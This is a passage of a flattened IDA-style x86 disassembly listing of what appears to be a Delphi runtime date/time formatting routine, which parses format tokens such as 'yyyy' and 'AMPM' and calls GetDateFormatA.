--------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40009324 proc near ; CODE XREF: sub_400096A8+18Dp ; sub_400096A8+1A5p ... var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi mov esi, edx mov ebx, eax mov eax, [ebp+arg_0] push eax push 4 mov [ebp+var_20], esi mov [ebp+var_1C], 0 mov [ebp+var_18], ebx mov [ebp+var_14], 0 lea eax, [ebp+var_20] push eax push 1 mov ecx, offset dword_4001A880 lea eax, [ebp+var_10] mov edx, 10h call sub_40008314 mov edx, eax lea eax, [ebp+var_10] call sub_400092C4 pop ecx pop esi pop ebx mov esp, ebp pop ebp retn sub_40009324 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40009370 proc near ; CODE XREF: sub_400096A8+162p ; sub_400096A8+1B1p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] add eax, 0FFFFFFFCh mov edx, [eax] jmp short loc_40009380 ; --------------------------------------------------------------------------- loc_4000937E: ; CODE XREF: sub_40009370+1Bj inc dword ptr [eax] loc_40009380: ; CODE XREF: sub_40009370+Cj mov ecx, [eax] movzx ecx, byte ptr [ecx] mov ebx, [ebp+arg_0] cmp cl, [ebx-5] jz short loc_4000937E mov eax, [eax] sub eax, edx inc eax mov edx, [ebp+arg_0] mov [edx-0Ch], eax pop ebx pop ebp retn sub_40009370 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000939C proc near ; CODE XREF: sub_400096A8+169p ; sub_400096A8+1B8p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp byte ptr [eax-13h], 0 jnz short loc_400093D2 mov eax, [ebp+arg_0] mov eax, [eax+8] push dword ptr [eax+0Ch] push dword ptr [eax+8] ; double mov eax, [ebp+arg_0] lea ecx, [eax-12h] mov eax, [ebp+arg_0] lea edx, [eax-10h] mov eax, [ebp+arg_0] add eax, 0FFFFFFF2h call sub_40009268 mov eax, [ebp+arg_0] mov byte ptr [eax-13h], 1 loc_400093D2: ; CODE XREF: sub_4000939C+Aj pop ebp retn sub_4000939C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400093D4 proc near ; CODE XREF: sub_400096A8+324p ; sub_400096A8+428p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp byte ptr [eax-1Dh], 0 jnz short loc_40009411 mov eax, [ebp+arg_0] mov eax, [eax+8] push dword ptr [eax+0Ch] push dword ptr [eax+8] ; double mov eax, [ebp+arg_0] add eax, 0FFFFFFE4h push eax ; int mov eax, [ebp+arg_0] lea ecx, [eax-1Ah] mov eax, [ebp+arg_0] lea edx, [eax-18h] mov eax, [ebp+arg_0] add eax, 0FFFFFFEAh call sub_40008FB8 mov eax, [ebp+arg_0] mov byte ptr [eax-1Dh], 1 loc_40009411: ; CODE XREF: sub_400093D4+Aj pop ebp retn sub_400093D4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40009414 proc near ; CODE XREF: sub_400096A8+1C9p var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_14 = word ptr -14h var_12 = word ptr -12h var_E = word ptr -0Eh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFEE4h push ebx push esi xor ecx, ecx mov [ebp+var_11C], ecx mov [ebp+var_4], ecx mov ebx, edx mov esi, eax xor eax, eax push ebp push offset loc_40009576 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx call sub_40004884 mov eax, [ebp+arg_0] movzx eax, word ptr [eax-0Eh] mov [ebp+var_14], ax mov eax, [ebp+arg_0] movzx eax, word ptr [eax-10h] mov [ebp+var_12], ax mov eax, [ebp+arg_0] movzx eax, word ptr [eax-12h] mov [ebp+var_E], ax lea eax, [ebp+var_4] mov edx, offset dword_4000958C call sub_4000491C push 100h lea eax, [ebp+var_114] push eax mov eax, [ebp+var_4] call sub_40004D48 push eax lea eax, [ebp+var_14] push eax push 4 call sub_400065C8 ; GetThreadLocale push eax call sub_40006568 ; GetDateFormatA test eax, eax jz loc_40009555 mov eax, ebx lea edx, [ebp+var_114] mov ecx, 100h call sub_40004AF4 dec esi jnz loc_40009555 mov eax, ds:dword_4001E8CC sub eax, 4 jz short loc_400094E8 sub eax, 0Dh jnz loc_40009555 push ebx mov eax, [ebx] mov edx, 1 call sub_4000BAF0 mov ecx, eax mov eax, [ebx] mov edx, 1 call sub_40004DA8 jmp short loc_40009555 ; --------------------------------------------------------------------------- loc_400094E8: ; CODE XREF: sub_40009414+ACj cmp ds:dword_4001E8D0, 1 jnz short loc_40009555 mov eax, [ebx] mov [ebp+var_118], eax mov esi, [ebp+var_118] test esi, esi jz short loc_40009508 sub esi, 4 mov esi, [esi] loc_40009508: ; CODE XREF: sub_40009414+EDj mov eax, [ebx] mov edx, esi call sub_4000B950 cmp eax, 4 jnz short loc_40009555 mov eax, [ebx] mov edx, 3 call sub_4000BA6C mov esi, eax lea eax, [ebp+var_114] add esi, eax dec esi lea eax, [ebp+var_11C] mov edx, esi call sub_40004A7C mov eax, [ebp+var_11C] mov edx, 2 call sub_4000BAF0 mov ecx, eax mov eax, ebx mov edx, esi call sub_40004974 loc_40009555: ; CODE XREF: sub_40009414+85j ; sub_40009414+9Ej ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000957D loc_40009562: ; CODE XREF: sub_40009414+167j lea eax, [ebp+var_11C] call sub_40004884 lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_40009576: ; DATA XREF: sub_40009414+1Do jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40009562 ; --------------------------------------------------------------------------- loc_4000957D: ; CODE XREF: sub_40009414+161j ; DATA XREF: sub_40009414+149o pop esi pop ebx mov esp, ebp pop ebp retn sub_40009414 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_4000958C dd 6767h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40009590 proc near ; CODE XREF: sub_400096A8+1F6p var_118 = dword ptr -118h var_114 = byte ptr -114h var_14 = word ptr -14h var_12 = word ptr -12h var_E = word ptr -0Eh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFEE8h push ebx push esi xor ecx, ecx mov [ebp+var_4], ecx mov ebx, edx mov esi, eax xor eax, eax push ebp push offset loc_4000967E push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx call sub_40004884 mov eax, [ebp+arg_0] movzx eax, word ptr [eax-0Eh] mov [ebp+var_14], ax mov eax, [ebp+arg_0] movzx eax, word ptr [eax-10h] mov [ebp+var_12], ax mov eax, [ebp+arg_0] movzx eax, word ptr [eax-12h] mov [ebp+var_E], ax cmp esi, 2 jg short loc_400095EE lea eax, [ebp+var_4] mov edx, offset dword_40009694 call sub_4000491C jmp short loc_400095FB ; --------------------------------------------------------------------------- loc_400095EE: ; CODE XREF: sub_40009590+4Dj lea eax, [ebp+var_4] mov edx, offset aYyyy ; "yyyy" call sub_4000491C loc_400095FB: ; CODE XREF: sub_40009590+5Cj push 100h lea eax, [ebp+var_114] push eax mov eax, [ebp+var_4] call sub_40004D48 push eax lea eax, [ebp+var_14] push eax push 4 call sub_400065C8 ; GetThreadLocale push eax call sub_40006568 ; GetDateFormatA test eax, eax jz short loc_40009668 mov eax, ebx lea edx, [ebp+var_114] mov ecx, 100h call sub_40004AF4 dec esi jnz short loc_40009668 mov eax, [ebx] cmp byte ptr [eax], 30h jnz short loc_40009668 mov eax, [ebx] mov [ebp+var_118], eax mov esi, [ebp+var_118] test esi, esi jz short loc_40009658 sub esi, 4 mov esi, [esi] loc_40009658: ; CODE XREF: sub_40009590+C1j push ebx mov ecx, esi dec ecx mov eax, [ebx] mov edx, 2 call sub_40004DA8 loc_40009668: ; CODE XREF: sub_40009590+93j ; sub_40009590+A8j ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40009685 loc_40009675: ; CODE XREF: sub_40009590+F3j lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000967E: ; DATA XREF: sub_40009590+17o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40009675 ; --------------------------------------------------------------------------- loc_40009685: ; CODE XREF: sub_40009590+EDj ; DATA XREF: sub_40009590+E0o pop esi pop ebx mov esp, ebp pop ebp retn sub_40009590 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_40009694 dd 7979h, 0FFFFFFFFh, 4aYyyy db 'yyyy',0 ; DATA XREF: sub_40009590+61o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400096A8 proc near ; CODE XREF: sub_400096A8+2FDp ; sub_400096A8+311p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_22 = word ptr -22h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_13 = byte ptr -13h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD4h push ebx push esi push edi xor edx, edx mov [ebp+var_2C], edx mov [ebp+var_28], edx mov [ebp+var_4], eax lea edi, [ebp+var_4] xor eax, eax push ebp push offset loc_40009E2C push dword ptr fs:[eax] mov fs:[eax], esp cmp dword ptr [edi], 0 jz loc_40009E11 mov eax, [ebp+arg_0] cmp dword ptr [eax-108h], 2 jge loc_40009E11 mov eax, [ebp+arg_0] inc dword ptr [eax-108h] mov [ebp+var_1E], 20h mov [ebp+var_13], 0 mov [ebp+var_1D], 0 mov [ebp+var_1F], 0 jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009704: ; CODE XREF: sub_400096A8+75Aj mov eax, [edi] movzx eax, byte ptr [eax] mov [ebp+var_5], al movzx eax, [ebp+var_5] movzx eax, al bt dword_4001A82C, eax jnb short loc_40009743 mov eax, [ebp+arg_0] push eax mov eax, [edi] call sub_4000BB60 mov edx, eax mov eax, [edi] call sub_400092C4 pop ecx mov eax, [edi] call sub_4000BB80 mov [edi], eax mov [ebp+var_1E], 20h jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009743: ; CODE XREF: sub_400096A8+72j mov eax, [edi] call sub_4000BB80 mov [edi], eax movzx ebx, [ebp+var_5] mov eax, ebx add al, 9Fh sub al, 1Ah jnb short loc_4000975B sub bl, 20h loc_4000975B: ; CODE XREF: sub_400096A8+AEj mov eax, ebx add al, 0BFh sub al, 1Ah jnb short loc_40009773 cmp bl, 4Dh jnz short loc_40009770 cmp [ebp+var_1E], 48h jnz short loc_40009770 mov bl, 4Eh loc_40009770: ; CODE XREF: sub_400096A8+BEj ; sub_400096A8+C4j mov [ebp+var_1E], bl loc_40009773: ; CODE XREF: sub_400096A8+B9j movzx eax, bl add eax, 0FFFFFFDEh cmp eax, 38h ; switch 57 cases ja loc_40009DEB ; default ; jumptable 40009789 cases 1-4,6-12,14-23,25-30,32,36,39-42,45-48,51-54 movzx eax, ds:byte_40009790[eax] jmp ds:off_400097C9[eax*4] ; switch jump ; --------------------------------------------------------------------------- byte_40009790 db 0Fh, 0, 0, 0 ; DATA XREF: sub_400096A8+DAr db 0, 0Fh, 0, 0 ; indirect table for switch statement db 0, 0, 0, 0 db 0, 0Dh, 0, 0 db 0, 0, 0, 0 db 0, 0, 0, 0 db 0Eh, 0, 0, 0 db 0, 0, 0, 0Bh db 0, 0Ch, 5, 3 db 0, 2, 6, 0 db 0, 0, 0, 4 db 7, 0, 0, 0 db 0, 8, 9, 0 db 0, 0, 0, 1 db 0Ah off_400097C9 dd offset loc_40009DEB, offset loc_40009809, offset loc_40009858 ; DATA XREF: sub_400096A8+E1r dd offset loc_40009885, offset loc_400098B2, offset loc_40009917 ; jump table for switch statement dd offset loc_400099C4, offset loc_40009AC8, offset loc_40009AF9 dd offset loc_40009B2A, offset loc_40009B5F, offset loc_40009B90 dd offset loc_40009CFD, offset loc_40009D5B, offset loc_40009D7E dd offset loc_40009D9D ; --------------------------------------------------------------------------- loc_40009809: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o push ebp ; jumptable 40009789 case 55 call sub_40009370 pop ecx push ebp call sub_4000939C pop ecx cmp [ebp+var_C], 2 jg short loc_40009840 mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_E] mov ecx, 64h xor edx, edx div ecx mov eax, edx mov edx, 2 call sub_40009324 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009840: ; CODE XREF: sub_400096A8+173j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_E] mov edx, 4 call sub_40009324 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009858: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o push ebp ; jumptable 40009789 case 37 call sub_40009370 pop ecx push ebp call sub_4000939C pop ecx mov eax, [ebp+arg_0] push eax push ebp lea edx, [ebp+var_28] mov eax, [ebp+var_C] call sub_40009414 pop ecx mov eax, [ebp+var_28] call sub_40009308 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009885: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o push ebp ; jumptable 40009789 case 35 call sub_40009370 pop ecx push ebp call sub_4000939C pop ecx mov eax, [ebp+arg_0] push eax push ebp lea edx, [ebp+var_2C] mov eax, [ebp+var_C] call sub_40009590 pop ecx mov eax, [ebp+var_2C] call sub_40009308 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_400098B2: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o push ebp ; jumptable 40009789 case 43 call sub_40009370 pop ecx push ebp call sub_4000939C pop ecx mov eax, [ebp+var_C] dec eax sub eax, 2 jb short loc_400098CD jz short loc_400098E3 jmp short loc_400098FD ; --------------------------------------------------------------------------- loc_400098CD: ; CODE XREF: sub_400096A8+21Fj mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_10] mov edx, [ebp+var_C] call sub_40009324 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_400098E3: ; CODE XREF: sub_400096A8+221j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_10] mov eax, ds:dword_4001E82C[eax*4] call sub_40009308 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_400098FD: ; CODE XREF: sub_400096A8+223j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_10] mov eax, ds:dword_4001E85C[eax*4] call sub_40009308 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009917: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o push ebp ; jumptable 40009789 case 34 call sub_40009370 pop ecx mov eax, [ebp+var_C] dec eax sub eax, 2 jb short loc_40009931 jz short loc_4000994E dec eax jz short loc_40009975 dec eax jz short loc_4000999C jmp short loc_400099B0 ; --------------------------------------------------------------------------- loc_40009931: ; CODE XREF: sub_400096A8+27Dj push ebp call sub_4000939C pop ecx mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_12] mov edx, [ebp+var_C] call sub_40009324 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_4000994E: ; CODE XREF: sub_400096A8+27Fj mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] push dword ptr [eax+0Ch] push dword ptr [eax+8] ; double call sub_40009288 movzx eax, ax mov eax, ds:dword_4001E88C[eax*4] call sub_40009308 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009975: ; CODE XREF: sub_400096A8+282j mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] push dword ptr [eax+0Ch] push dword ptr [eax+8] ; double call sub_40009288 movzx eax, ax mov eax, ds:dword_4001E8A8[eax*4] call sub_40009308 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_4000999C: ; CODE XREF: sub_400096A8+285j mov eax, [ebp+arg_0] push eax mov eax, ds:dword_4001E814 call sub_400096A8 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_400099B0: ; CODE XREF: sub_400096A8+287j mov eax, [ebp+arg_0] push eax mov eax, ds:dword_4001E818 call sub_400096A8 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_400099C4: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o push ebp ; jumptable 40009789 case 38 call sub_40009370 pop ecx push ebp call sub_400093D4 pop ecx mov [ebp+var_20], 0 mov esi, [edi] jmp loc_40009A73 ; --------------------------------------------------------------------------- loc_400099DD: ; CODE XREF: sub_400096A8+3CEj movzx eax, byte ptr [esi] movzx eax, al bt dword_4001A82C, eax jnb short loc_400099F7 mov eax, esi call sub_4000BB80 mov esi, eax jmp short loc_40009A73 ; --------------------------------------------------------------------------- loc_400099F7: ; CODE XREF: sub_400096A8+342j movzx eax, byte ptr [esi] cmp eax, 48h jg short loc_40009A12 jz short loc_40009A7C sub eax, 22h jz short loc_40009A69 sub eax, 5 jz short loc_40009A69 sub eax, 1Ah jz short loc_40009A1E jmp short loc_40009A72 ; --------------------------------------------------------------------------- loc_40009A12: ; CODE XREF: sub_400096A8+355j sub eax, 61h jz short loc_40009A1E sub eax, 7 jz short loc_40009A7C jmp short loc_40009A72 ; --------------------------------------------------------------------------- loc_40009A1E: ; CODE XREF: sub_400096A8+366j ; sub_400096A8+36Dj cmp [ebp+var_20], 0 jnz short loc_40009A72 mov edx, offset dword_40009E3C mov ecx, 5 mov eax, esi call sub_400081E0 test eax, eax jz short loc_40009A63 mov edx, offset dword_40009E44 mov ecx, 3 mov eax, esi call sub_400081E0 test eax, eax jz short loc_40009A63 mov edx, offset aAmpm ; "AMPM" mov ecx, 4 mov eax, esi call sub_400081E0 test eax, eax jnz short loc_40009A7C loc_40009A63: ; CODE XREF: sub_400096A8+38Fj ; sub_400096A8+3A4j mov [ebp+var_1F], 1 jmp short loc_40009A7C ; --------------------------------------------------------------------------- loc_40009A69: ; CODE XREF: sub_400096A8+35Cj ; sub_400096A8+361j movzx eax, [ebp+var_20] xor al, 1 mov [ebp+var_20], al loc_40009A72: ; CODE XREF: sub_400096A8+368j ; sub_400096A8+374j ... inc esi loc_40009A73: ; CODE XREF: sub_400096A8+330j ; sub_400096A8+34Dj cmp byte ptr [esi], 0 jnz loc_400099DD loc_40009A7C: ; CODE XREF: sub_400096A8+357j ; sub_400096A8+372j ... movzx eax, [ebp+var_16] mov [ebp+var_22], ax cmp [ebp+var_1F], 0 jz short loc_40009AA5 cmp [ebp+var_22], 0 jnz short loc_40009A99 mov [ebp+var_22], 0Ch jmp short loc_40009AA5 ; --------------------------------------------------------------------------- loc_40009A99: ; CODE XREF: sub_400096A8+3E7j cmp [ebp+var_22], 0Ch jbe short loc_40009AA5 sub [ebp+var_22], 0Ch loc_40009AA5: ; CODE XREF: sub_400096A8+3E0j ; sub_400096A8+3EFj ... cmp [ebp+var_C], 2 jle short loc_40009AB2 mov [ebp+var_C], 2 loc_40009AB2: ; CODE XREF: sub_400096A8+401j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_22] mov edx, [ebp+var_C] call sub_40009324 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009AC8: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o push ebp ; jumptable 40009789 case 44 call sub_40009370 pop ecx push ebp call sub_400093D4 pop ecx cmp [ebp+var_C], 2 jle short loc_40009AE3 mov [ebp+var_C], 2 loc_40009AE3: ; CODE XREF: sub_400096A8+432j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_18] mov edx, [ebp+var_C] call sub_40009324 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009AF9: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o push ebp ; jumptable 40009789 case 49 call sub_40009370 pop ecx push ebp call sub_400093D4 pop ecx cmp [ebp+var_C], 2 jle short loc_40009B14 mov [ebp+var_C], 2 loc_40009B14: ; CODE XREF: sub_400096A8+463j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_1A] mov edx, [ebp+var_C] call sub_40009324 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009B2A: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o push ebp ; jumptable 40009789 case 50 call sub_40009370 pop ecx cmp [ebp+var_C], 1 jnz short loc_40009B4B mov eax, [ebp+arg_0] push eax mov eax, ds:dword_4001E828 call sub_400096A8 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009B4B: ; CODE XREF: sub_400096A8+48Dj mov eax, [ebp+arg_0] push eax mov eax, ds:dword_4001E82C call sub_400096A8 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009B5F: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o push ebp ; jumptable 40009789 case 56 call sub_40009370 pop ecx push ebp call sub_400093D4 pop ecx cmp [ebp+var_C], 3 jle short loc_40009B7A mov [ebp+var_C], 3 loc_40009B7A: ; CODE XREF: sub_400096A8+4C9j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_1C] mov edx, [ebp+var_C] call sub_40009324 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009B90: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o push ebp ; jumptable 40009789 case 31 call sub_400093D4 pop ecx mov esi, [edi] dec esi mov edx, offset dword_40009E3C mov ecx, 5 mov eax, esi call sub_400081E0 test eax, eax jnz short loc_40009BD6 cmp [ebp+var_16], 0Ch jb short loc_40009BB9 add esi, 3 loc_40009BB9: ; CODE XREF: sub_400096A8+50Cj mov eax, [ebp+arg_0] push eax mov edx, 2 mov eax, esi call sub_400092C4 pop ecx add dword ptr [edi], 4 mov [ebp+var_1F], 1 jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009BD6: ; CODE XREF: sub_400096A8+505j mov edx, offset dword_40009E44 mov ecx, 3 mov eax, esi call sub_400081E0 test eax, eax jnz short loc_40009C12 cmp [ebp+var_16], 0Ch jb short loc_40009BF5 add esi, 2 loc_40009BF5: ; CODE XREF: sub_400096A8+548j mov eax, [ebp+arg_0] push eax mov edx, 1 mov eax, esi call sub_400092C4 pop ecx add dword ptr [edi], 2 mov [ebp+var_1F], 1 jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009C12: ; CODE XREF: sub_400096A8+541j mov edx, offset aAmpm ; "AMPM" mov ecx, 4 mov eax, esi call sub_400081E0 test eax, eax jnz short loc_40009C5A cmp [ebp+var_16], 0Ch jnb short loc_40009C3F mov eax, [ebp+arg_0] push eax mov eax, ds:dword_4001E820 call sub_40009308 pop ecx jmp short loc_40009C4E ; --------------------------------------------------------------------------- loc_40009C3F: ; CODE XREF: sub_400096A8+584j mov eax, [ebp+arg_0] push eax mov eax, ds:dword_4001E824 call sub_40009308 pop ecx loc_40009C4E: ; CODE XREF: sub_400096A8+595j add dword ptr [edi], 3 mov [ebp+var_1F], 1 jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009C5A: ; CODE XREF: sub_400096A8+57Dj mov edx, offset aAaaa ; "AAAA" mov ecx, 4 mov eax, esi call sub_400081E0 test eax, eax jnz short loc_40009CA0 push ebp call sub_4000939C pop ecx mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] push dword ptr [eax+0Ch] push dword ptr [eax+8] ; double call sub_40009288 movzx eax, ax mov eax, ds:dword_4001E8A8[eax*4] call sub_40009308 pop ecx add dword ptr [edi], 3 jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009CA0: ; CODE XREF: sub_400096A8+5C5j mov edx, offset aAaa ; "AAA" mov ecx, 3 mov eax, esi call sub_400081E0 test eax, eax jnz short loc_40009CE6 push ebp call sub_4000939C pop ecx mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] push dword ptr [eax+0Ch] push dword ptr [eax+8] ; double call sub_40009288 movzx eax, ax mov eax, ds:dword_4001E88C[eax*4] call sub_40009308 pop ecx add dword ptr [edi], 2 jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009CE6: ; CODE XREF: sub_400096A8+60Bj mov eax, [ebp+arg_0] push eax lea eax, [ebp+var_5] mov edx, 1 call sub_400092C4 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009CFD: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o push ebp ; jumptable 40009789 case 33 call sub_40009370 pop ecx mov eax, [ebp+arg_0] push eax mov eax, ds:dword_4001E814 call sub_400096A8 pop ecx push ebp call sub_400093D4 pop ecx cmp [ebp+var_16], 0 jnz short loc_40009D33 cmp [ebp+var_18], 0 jnz short loc_40009D33 cmp [ebp+var_1A], 0 jz loc_40009DFD loc_40009D33: ; CODE XREF: sub_400096A8+677j ; sub_400096A8+67Ej mov eax, [ebp+arg_0] push eax mov eax, offset asc_40009E5C ; " " mov edx, 1 call sub_400092C4 pop ecx mov eax, [ebp+arg_0] push eax mov eax, ds:dword_4001E82C call sub_400096A8 pop ecx jmp loc_40009DFD ; --------------------------------------------------------------------------- loc_40009D5B: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o cmp ds:byte_4001E811, 0 ; jumptable 40009789 case 13 jz loc_40009DFD mov eax, [ebp+arg_0] push eax mov eax, offset byte_4001E811 mov edx, 1 call sub_400092C4 pop ecx jmp short loc_40009DFD ; --------------------------------------------------------------------------- loc_40009D7E: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o cmp ds:byte_4001E81C, 0 ; jumptable 40009789 case 24 jz short loc_40009DFD mov eax, [ebp+arg_0] push eax mov eax, offset byte_4001E81C mov edx, 1 call sub_400092C4 pop ecx jmp short loc_40009DFD ; --------------------------------------------------------------------------- loc_40009D9D: ; CODE XREF: sub_400096A8+E1j ; DATA XREF: sub_400096A8:off_400097C9o mov esi, [edi] ; jumptable 40009789 cases 0,5 jmp short loc_40009DBF ; --------------------------------------------------------------------------- loc_40009DA1: ; CODE XREF: sub_400096A8+726j mov eax, [edi] movzx eax, byte ptr [eax] movzx eax, al bt dword_4001A82C, eax jnb short loc_40009DBD mov eax, [edi] call sub_4000BB80 mov [edi], eax jmp short loc_40009DBF ; --------------------------------------------------------------------------- loc_40009DBD: ; CODE XREF: sub_400096A8+708j inc dword ptr [edi] loc_40009DBF: ; CODE XREF: sub_400096A8+6F7j ; sub_400096A8+713j mov eax, [edi] cmp byte ptr [eax], 0 jz short loc_40009DD0 mov eax, [edi] movzx eax, byte ptr [eax] cmp al, [ebp+var_5] jnz short loc_40009DA1 loc_40009DD0: ; CODE XREF: sub_400096A8+71Cj mov eax, [ebp+arg_0] push eax mov edx, [edi] sub edx, esi mov eax, esi call sub_400092C4 pop ecx mov eax, [edi] cmp byte ptr [eax], 0 jz short loc_40009DFD inc dword ptr [edi] jmp short loc_40009DFD ; --------------------------------------------------------------------------- loc_40009DEB: ; CODE XREF: sub_400096A8+D4j ; sub_400096A8+E1j ; DATA XREF: ... mov eax, [ebp+arg_0] ; default ; jumptable 40009789 cases 1-4,6-12,14-23,25-30,32,36,39-42,45-48,51-54 push eax lea eax, [ebp+var_5] mov edx, 1 call sub_400092C4 pop ecx loc_40009DFD: ; CODE XREF: sub_400096A8+57j ; sub_400096A8+96j ... mov eax, [edi] cmp byte ptr [eax], 0 jnz loc_40009704 mov eax, [ebp+arg_0] dec dword ptr [eax-108h] loc_40009E11: ; CODE XREF: sub_400096A8+28j ; sub_400096A8+38j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40009E33 loc_40009E1E: ; CODE XREF: sub_400096A8+789j lea eax, [ebp+var_2C] mov edx, 2 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_40009E2C: ; DATA XREF: sub_400096A8+1Ao jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40009E1E ; --------------------------------------------------------------------------- loc_40009E33: ; CODE XREF: sub_400096A8+783j ; DATA XREF: sub_400096A8+771o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_400096A8 endp ; --------------------------------------------------------------------------- align 4 dword_40009E3C dd 502F4D41h, 4Dh ; sub_400096A8+4F2o dword_40009E44 dd 502F41h ; sub_400096A8:loc_40009BD6o aAmpm db 'AMPM',0 ; DATA XREF: sub_400096A8+3A6o ; sub_400096A8:loc_40009C12o align 10h aAaaa db 'AAAA',0 ; DATA XREF: sub_400096A8:loc_40009C5Ao align 4 aAaa db 'AAA',0 ; DATA XREF: sub_400096A8:loc_40009CA0o asc_40009E5C: ; DATA XREF: sub_400096A8+68Fo unicode 0, < >,0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40009E60 proc near ; CODE XREF: 